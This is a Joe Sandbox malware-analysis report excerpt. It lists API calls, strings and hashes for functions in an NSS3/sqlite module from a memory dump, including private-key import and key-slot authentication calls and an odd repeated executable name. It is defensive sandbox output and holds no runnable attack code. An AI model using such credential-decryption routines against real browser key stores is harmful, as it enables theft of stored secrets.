Part of subcall function 6C687870: memcpy.VCRUNTIME140(00000000,?,?), ref: 6C687964
Part of subcall function 6C687870: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6C68797A
Part of subcall function 6C687870: strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000001), ref: 6C687988
Part of subcall function 6C687870: memcpy.VCRUNTIME140(?,00000001,00000001), ref: 6C687998
Part of subcall function 6C687870: free.MOZGLUE(00000000), ref: 6C6879A7
Part of subcall function 6C687870: SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,?,?,6C6891C5), ref: 6C6879BB
Part of subcall function 6C687870: PR_GetCurrentThread.NSS3(?,?,?,?,6C6891C5), ref: 6C6879CA

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C687E49
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C687F8C
SECKEY_DestroyPublicKey.NSS3(?), ref: 6C687F98
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C687FBF
SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C687FD9
PK11_ImportEncryptedPrivateKeyInfoAndReturnKey.NSS3(?,00000000,?,?,?,00000001,00000001,?,?,00000000,?), ref: 6C688038
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6C688050
PK11_ImportPublicKey.NSS3(?,?,00000001), ref: 6C688093
SECOID_FindOID_Util.NSS3 ref: 6C687F29

Part of subcall function 6C6807B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C628298,?,?,?,6C61FCE5,?), ref: 6C6807BF
Part of subcall function 6C6807B0: PL_HashTableLookup.NSS3(?,?), ref: 6C6807E6
Part of subcall function 6C6807B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C68081B
Part of subcall function 6C6807B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C680825

SECKEY_DestroyPublicKey.NSS3(00000000), ref: 6C688072
SECOID_FindOID_Util.NSS3 ref: 6C6880F5

Part of subcall function 6C68BC10: SECITEM_CopyItem_Util.NSS3(?,?,?,?,-00000001,?,6C68800A,00000000,?,00000000,?), ref: 6C68BC3F

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Util$Item_$Error$Zfree$DestroyPublic$Find$Alloc_CopyHashImportK11_LookupTablememcpy$AlgorithmCertificateConstCurrentEncryptedInfoOptionPrivateReturnTag_Threadfreestrchrstrcmpstrlen
String ID:
API String ID: 2815116071-0
Opcode ID: 701cfdc2dffb8978a11164a1146446e9de68ac42f5238b7464bddb4bf1cd3503
Instruction ID: a74ffd2ed3120e0e8b6af002c0e91ee0b0d91106901cfa3f421a725b25c83acc
Opcode Fuzzy Hash: 701cfdc2dffb8978a11164a1146446e9de68ac42f5238b7464bddb4bf1cd3503
Instruction Fuzzy Hash: 91E1A27160A3009FD710CF28D880B5A77E5EF89308F14496DF99A9BB61E731EC45CB6A

Function 6C65EA00 Relevance: 28.8, APIs: 19, Instructions: 304COMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3(?,?,?,?,?,?,?,?,00000000,00000000,00000000,?,6C668C9F,00000000,00000000,?), ref: 6C65EA29

Part of subcall function 6C680840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C6808B4

SEC_ASN1EncodeUnsignedInteger_Util.NSS3(00000000,?,000000A0,?,?,?,?,?,?,?,?,00000000,00000000,00000000,?,6C668C9F), ref: 6C65EB01
SEC_ASN1EncodeItem_Util.NSS3(00000000,00000000,?,6C74C6C4), ref: 6C65EB28
SEC_ASN1EncodeItem_Util.NSS3(00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6C65EBC6
SECOID_SetAlgorithmID_Util.NSS3(?,?,?,00000000), ref: 6C65EBDE
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C65EBEB
SEC_ASN1EncodeUnsignedInteger_Util.NSS3(00000000,?,00000010,?,?,?,?,?,?,?,?,00000000,00000000,00000000,?,6C668C9F), ref: 6C65EC17
SEC_ASN1EncodeUnsignedInteger_Util.NSS3(00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C65EC2F
SEC_ASN1EncodeUnsignedInteger_Util.NSS3(00000000,?,00000000), ref: 6C65EC4B
SEC_ASN1EncodeItem_Util.NSS3(00000000,00000000,?,6C74C754), ref: 6C65EC6D
free.MOZGLUE(?), ref: 6C65EC7F
free.MOZGLUE(00000000), ref: 6C65EC90
free.MOZGLUE(?), ref: 6C65ECA1
free.MOZGLUE(00000000), ref: 6C65ECBF
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C65ECD4
SECOID_CopyAlgorithmID_Util.NSS3(?,?,00000000), ref: 6C6691D5
SECITEM_ZfreeItem_Util.NSS3(-0000000C,00000000), ref: 6C6691E8
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6C6691F2
free.MOZGLUE(00000000), ref: 6C6691FB

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Util$Encode$Item_free$Integer_Unsigned$Zfree$Algorithm$CopyErrorFindTag_
String ID:
API String ID: 899953378-0
Opcode ID: b08613fb4a73a710d0f017b4ba3492c97e38dfdb17f306f64c851b5993bc71b4
Instruction ID: 208fda6aea4b655902ec67d0d04d5507a1b34ffe28abdfc2c143d53836c99d53
Opcode Fuzzy Hash: b08613fb4a73a710d0f017b4ba3492c97e38dfdb17f306f64c851b5993bc71b4
Instruction Fuzzy Hash: CDA1E975E011055BFF10CA65CE81BBE73A8EB45349F700839EC26D7B80E629D96487EB

Function 6C611C30 Relevance: 26.3, APIs: 14, Strings: 1, Instructions: 96memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 6C611C6B
OpenProcessToken.ADVAPI32(00000000,00000008,?), ref: 6C611C75
GetTokenInformation.ADVAPI32(00000400,00000004,?,00000400,?), ref: 6C611CA1
GetLengthSid.ADVAPI32(?), ref: 6C611CA9
malloc.MOZGLUE(00000000), ref: 6C611CB4
CopySid.ADVAPI32(00000000,00000000,?), ref: 6C611CCC
GetTokenInformation.ADVAPI32(?,00000005(TokenIntegrityLevel),?,00000400,?), ref: 6C611CE4
GetLengthSid.ADVAPI32(?), ref: 6C611CEC
malloc.MOZGLUE(00000000), ref: 6C611CFD
CopySid.ADVAPI32(00000000,00000000,?), ref: 6C611D0F
CloseHandle.KERNEL32(?), ref: 6C611D17
AllocateAndInitializeSid.ADVAPI32 ref: 6C611D4D
GetLastError.KERNEL32 ref: 6C611D73
PR_LogPrint.NSS3(_PR_NT_InitSids: OpenProcessToken() failed. Error: %d,00000000), ref: 6C611D7F

Strings

_PR_NT_InitSids: OpenProcessToken() failed. Error: %d, xrefs: 6C611D7A

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Token$CopyInformationLengthProcessmalloc$AllocateCloseCurrentErrorHandleInitializeLastOpenPrint
String ID: _PR_NT_InitSids: OpenProcessToken() failed. Error: %d
API String ID: 3748115541-1216436346
Opcode ID: 2d1d0a0616b2c8c66fdd6339ce5af9b2374390c69f9a7c4ceba8b7608c64e178
Instruction ID: c1cbfe8f6ad9678b0a6b652f199d52cf141d1220a21282ca8432bd16807d87c1
Opcode Fuzzy Hash: 2d1d0a0616b2c8c66fdd6339ce5af9b2374390c69f9a7c4ceba8b7608c64e178
Instruction Fuzzy Hash: C03185B1A012289FEF11AF64CC48BAA7BB8FF4E306F014575F60892210EB305994CF69

Function 6C61EF40 Relevance: 25.1, APIs: 10, Strings: 4, Instructions: 629stringmemoryCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C61EF63

Part of subcall function 6C6287D0: PORT_NewArena_Util.NSS3(00000800,6C61EF74,00000000), ref: 6C6287E8
Part of subcall function 6C6287D0: PORT_ArenaAlloc_Util.NSS3(00000000,00000008,?,6C61EF74,00000000), ref: 6C6287FD
Part of subcall function 6C6287D0: PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6C62884C

PL_strncasecmp.NSS3(oid.,?,00000004), ref: 6C61F2D4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C61F2FC
SEC_StringToOID.NSS3(?,?,?,00000000), ref: 6C61F30F
SECITEM_AllocItem_Util.NSS3(?,00000000,-00000002), ref: 6C61F374
PL_strcasecmp.NSS3(6C762FD4,?), ref: 6C61F457
SECOID_FindOIDByTag_Util.NSS3(00000029), ref: 6C61F4D2
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6C61F66E
PR_SetError.NSS3(FFFFE007,00000000), ref: 6C61F67D
CERT_DestroyName.NSS3(?), ref: 6C61F68B

Part of subcall function 6C628320: PORT_ArenaAlloc_Util.NSS3(0000002A,00000018), ref: 6C628338
Part of subcall function 6C628320: SECOID_FindOIDByTag_Util.NSS3(?), ref: 6C628364
Part of subcall function 6C628320: PORT_ArenaAlloc_Util.NSS3(0000002A,?), ref: 6C62838E
Part of subcall function 6C628320: memcpy.VCRUNTIME140(00000000,?,?), ref: 6C6283A5
Part of subcall function 6C628320: PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6283E3

Part of subcall function 6C6284C0: PORT_ArenaAlloc_Util.NSS3(00000000,00000004,00000000,00000000), ref: 6C6284D9
Part of subcall function 6C6284C0: PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6C628528

Part of subcall function 6C628900: PORT_ArenaGrow_Util.NSS3(00000000,?,00000000,?,00000000,?,00000000,?,6C61F599,?,00000000), ref: 6C628955

Strings

qhXmDrsCjwUgFSCDVjzH.exeRGGeqhXmDrsCjwUgFSCDVjzH.exeRGGeqhXmDrsCjwUgFSCDVjzH.exeRGGeqhXmDrsCjwUgFSCDVjzH.exeRGGeqhXmDrsCjwUgFSCDVjzH.exeRGGeqhXmDrsCjwUgFSCDVjzH.exeRGGeqhXmDrsCjwUgFSCDVjzH.exeRGGeqhXmDrsCjwUgFSCDVjzH.exeRGGeqhXmDrsCjwUgFSCDVjzH, xrefs: 6C61EFC1, 6C61F014, 6C61F07F, 6C61F0AD, 6C61F23A, 6C61F264, 6C61F5CC
", xrefs: 6C61F21B
*, xrefs: 6C61F3C6
oid., xrefs: 6C61F2CF

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_$ErrorFindItem_Tag_strlen$AllocArena_DestroyGrow_L_strcasecmpL_strncasecmpNameStringZfreememcpy
String ID: "$*$oid.$qhXmDrsCjwUgFSCDVjzH.exeRGGeqhXmDrsCjwUgFSCDVjzH.exeRGGeqhXmDrsCjwUgFSCDVjzH.exeRGGeqhXmDrsCjwUgFSCDVjzH.exeRGGeqhXmDrsCjwUgFSCDVjzH.exeRGGeqhXmDrsCjwUgFSCDVjzH.exeRGGeqhXmDrsCjwUgFSCDVjzH.exeRGGeqhXmDrsCjwUgFSCDVjzH.exeRGGeqhXmDrsCjwUgFSCDVjzH
API String ID: 4161946812-735644587
Opcode ID: 16118cfb07e0bf6ba39ab38be8d3be8aab66c00a7b5995a4ea5fe9d46d15ff06
Instruction ID: 5b143f4702e4132e672b65148ced1db6ee0c1f80ca9a823c1e7b26f7db0df737
Opcode Fuzzy Hash: 16118cfb07e0bf6ba39ab38be8d3be8aab66c00a7b5995a4ea5fe9d46d15ff06
Instruction Fuzzy Hash: 3D22287160C3508FD714CE6DC4907AAB7E6AB8532EF184A2EE49587F91E7319C05CB8B

Function 6C5C1C30 Relevance: 23.2, APIs: 3, Strings: 10, Instructions: 485COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5C1D58
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C5C1EFD
sqlite3_exec.NSS3(00000000,00000000,Function_00007370,?,00000000), ref: 6C5C1FB7

Strings

another row available, xrefs: 6C5C2287
SELECT*FROM"%w".%s ORDER BY rowid, xrefs: 6C5C1F83
sqlite_temp_master, xrefs: 6C5C1C5C
unknown error, xrefs: 6C5C2291
table, xrefs: 6C5C1C8B
sqlite_master, xrefs: 6C5C1C61
no more rows available, xrefs: 6C5C2264
abort due to ROLLBACK, xrefs: 6C5C2223
unsupported file format, xrefs: 6C5C2188
attached databases must use the same text encoding as main database, xrefs: 6C5C20CA

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@_byteswap_ulongsqlite3_exec
String ID: SELECT*FROM"%w".%s ORDER BY rowid$abort due to ROLLBACK$another row available$attached databases must use the same text encoding as main database$no more rows available$sqlite_master$sqlite_temp_master$table$unknown error$unsupported file format
API String ID: 563213449-2102270813
Opcode ID: f54a775dcb7ac051a23a5729c20060cc98d63657903e9b60911f22b5c2ec2d76
Instruction ID: 5f2b46216cffc8fa17590358f6bb2c625b4a081e929d5bfaf79ec4ac91c506fa
Opcode Fuzzy Hash: f54a775dcb7ac051a23a5729c20060cc98d63657903e9b60911f22b5c2ec2d76
Instruction Fuzzy Hash: 0912AD707083418FD705CF59C884A5ABBF2BF85318F18896EE8959BB52D731E846CB93

Function 6C68EFF0 Relevance: 21.4, APIs: 14, Instructions: 362memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6C68C6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6C68DAE2,?), ref: 6C68C6C2

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C68F0AE
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C68F0C8
PK11_FindKeyByAnyCert.NSS3(?,?), ref: 6C68F101
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C68F11D
SEC_ASN1EncodeItem_Util.NSS3(00000000,?,?,6C75218C), ref: 6C68F183
SEC_GetSignatureAlgorithmOidTag.NSS3(?,00000000), ref: 6C68F19A
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C68F1CB
SECKEY_DestroyPrivateKey.NSS3(?), ref: 6C68F1EF
SECITEM_CopyItem_Util.NSS3(?,?,?), ref: 6C68F210

Part of subcall function 6C6352D0: NSS_GetAlgorithmPolicy.NSS3(00000000,?,00000000,?,6C68F1E9,?,00000000,?,?), ref: 6C6352F5
Part of subcall function 6C6352D0: SEC_GetSignatureAlgorithmOidTag.NSS3(00000000,00000000), ref: 6C63530F
Part of subcall function 6C6352D0: NSS_GetAlgorithmPolicy.NSS3(00000000,?), ref: 6C635326
Part of subcall function 6C6352D0: PR_SetError.NSS3(FFFFE0B5,00000000,?,?,00000000,?,6C68F1E9,?,00000000,?,?), ref: 6C635340

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C68F227

Part of subcall function 6C67FAB0: free.MOZGLUE(?,-00000001,?,?,6C61F673,00000000,00000000), ref: 6C67FAC7

SECOID_SetAlgorithmID_Util.NSS3(?,?,?,00000000), ref: 6C68F23E

Part of subcall function 6C67BE60: SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6C62E708,00000000,00000000,00000004,00000000), ref: 6C67BE6A
Part of subcall function 6C67BE60: SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6C6304DC,?), ref: 6C67BE7E
Part of subcall function 6C67BE60: SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6C67BEC2

PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C68F2BB
PR_SetError.NSS3(FFFFE006,00000000), ref: 6C68F3A8

Part of subcall function 6C6CC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6CC2BF

SECKEY_DestroyPrivateKey.NSS3(?), ref: 6C68F3B3

Part of subcall function 6C632D20: PK11_DestroyObject.NSS3(?,?), ref: 6C632D3C
Part of subcall function 6C632D20: PORT_FreeArena_Util.NSS3(?,00000001), ref: 6C632D5F

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Util$Algorithm$Item_$Tag_$CopyDestroyFind$ErrorK11_PolicyPrivateSignatureZfree$Alloc_ArenaArena_CertEncodeFreeObjectValuefree
String ID:
API String ID: 1559028977-0
Opcode ID: fe78907731584804e0d84e5bdea073adaacb6640acb83a58687d305559629fe5
Instruction ID: d6a0d23b75b5e6eec156c6ef02049875460fe91e788a2fbc083f28b3033790d4
Opcode Fuzzy Hash: fe78907731584804e0d84e5bdea073adaacb6640acb83a58687d305559629fe5
Instruction Fuzzy Hash: 19D1C4B5E026059FDB10CFA9D880A9EB7F5FF48308F148429DA15E7711EB31E805CBA9

Function 6C66A9A0 Relevance: 21.2, APIs: 14, Instructions: 214COMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C66A9CA

Part of subcall function 6C680FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6287ED,00000800,6C61EF74,00000000), ref: 6C681000
Part of subcall function 6C680FF0: PR_NewLock.NSS3(?,00000800,6C61EF74,00000000), ref: 6C681016
Part of subcall function 6C680FF0: PL_InitArenaPool.NSS3(00000000,security,6C6287ED,00000008,?,00000800,6C61EF74,00000000), ref: 6C68102B

SEC_QuickDERDecodeItem_Util.NSS3(00000000,?,6C780B04,?), ref: 6C66A9F7

Part of subcall function 6C67B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C7518D0,?), ref: 6C67B095

PORT_FreeArena_Util.NSS3(00000000,00000001), ref: 6C66AA0B
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C66AA33
PK11_GetInternalKeySlot.NSS3 ref: 6C66AA55
PK11_Authenticate.NSS3(00000000,00000001,?), ref: 6C66AA69
PORT_FreeArena_Util.NSS3(00000001,00000001), ref: 6C66AAD4
PK11_ListFixedKeysInSlot.NSS3(?,00000000,?), ref: 6C66AB18
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C66AB5A
PK11_FreeSymKey.NSS3(00000000), ref: 6C66AB85
PK11_FreeSymKey.NSS3(00000000), ref: 6C66AB99
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6C66ABDC
PK11_FreeSymKey.NSS3(?), ref: 6C66ABE9
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C66ABF7

Part of subcall function 6C66AC10: PK11_CreateContextBySymKey.NSS3(00000133,00000105,00000000,?,?,6C66AB3E,?,?,?), ref: 6C66AC35
Part of subcall function 6C66AC10: PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?,?,6C66AB3E,?,?,?), ref: 6C66AC55
Part of subcall function 6C66AC10: PK11_CipherOp.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,?,?,6C66AB3E,?,?), ref: 6C66AC70
Part of subcall function 6C66AC10: PK11_GetBlockSize.NSS3(00000133,00000000), ref: 6C66AC92
Part of subcall function 6C66AC10: PK11_DestroyContext.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,6C66AB3E), ref: 6C66ACD7

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: K11_$Util$Free$Arena_Item_$Zfree$ArenaContextSlot$Alloc_AuthenticateBlockCipherCreateDecodeDestroyErrorFixedInitInternalKeysListLockPoolQuickSizecalloc
String ID:
API String ID: 2602994911-0
Opcode ID: df62b4cba096bb51f38368f30b8e291711f850cbf0537237d885782e3a571394
Instruction ID: 21ae07dc5612408980fa08ef90a53af86cf9ffabd77f6e825c2282460774cf4f
Opcode Fuzzy Hash: df62b4cba096bb51f38368f30b8e291711f850cbf0537237d885782e3a571394
Instruction Fuzzy Hash: 757103729083119BDB00CF36DC40B9BB3A5AF85358F144A29FD6497B42EB71D948C79B

Function 6C5AECC0 Relevance: 20.0, APIs: 8, Strings: 3, Instructions: 741COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5AED0A
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5AEE68
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5AEF87
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?), ref: 6C5AEF98

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C5AF483
database corruption, xrefs: 6C5AF48D
%s at line %d of [%.10s], xrefs: 6C5AF492

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: _byteswap_ulong
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 4101233201-598938438
Opcode ID: 2a39ed00606ba1329947402befe4f1555f74cf406a7c2d01ae61214a9195ff4a
Instruction ID: 92fd286ee18dbc46fa5b037abb0cf33759086f99e538a6746ac26acd6b81b741
Opcode Fuzzy Hash: 2a39ed00606ba1329947402befe4f1555f74cf406a7c2d01ae61214a9195ff4a
Instruction Fuzzy Hash: F262D170A042458FDB14CFA6CC8479EBBB1BF49318F18469DD8456BB92D771E887CBA0

Function 6C5BAEC0 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 242COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,00000002,?,6C6DCF46,?,6C5ACDBD,?,6C6DBF31,?,?,?,?,?,?,?), ref: 6C5BB039
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6C6DCF46,?,6C5ACDBD,?,6C6DBF31), ref: 6C5BB090
sqlite3_free.NSS3(?,?,?,?,?,?,6C6DCF46,?,6C5ACDBD,?,6C6DBF31), ref: 6C5BB0A2
CloseHandle.KERNEL32(?,?,6C6DCF46,?,6C5ACDBD,?,6C6DBF31,?,?,?,?,?,?,?,?,?), ref: 6C5BB100
sqlite3_free.NSS3(?,?,00000002,?,6C6DCF46,?,6C5ACDBD,?,6C6DBF31,?,?,?,?,?,?,?), ref: 6C5BB115
sqlite3_free.NSS3(?,?,?,?,?,?,6C6DCF46,?,6C5ACDBD,?,6C6DBF31), ref: 6C5BB12D

Part of subcall function 6C5A9EE0: EnterCriticalSection.KERNEL32(?,?,?,?,6C5BC6FD,?,?,?,?,6C60F965,00000000), ref: 6C5A9F0E
Part of subcall function 6C5A9EE0: LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6C60F965,00000000), ref: 6C5A9F5D

Strings

`sl, xrefs: 6C5BB0DF

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
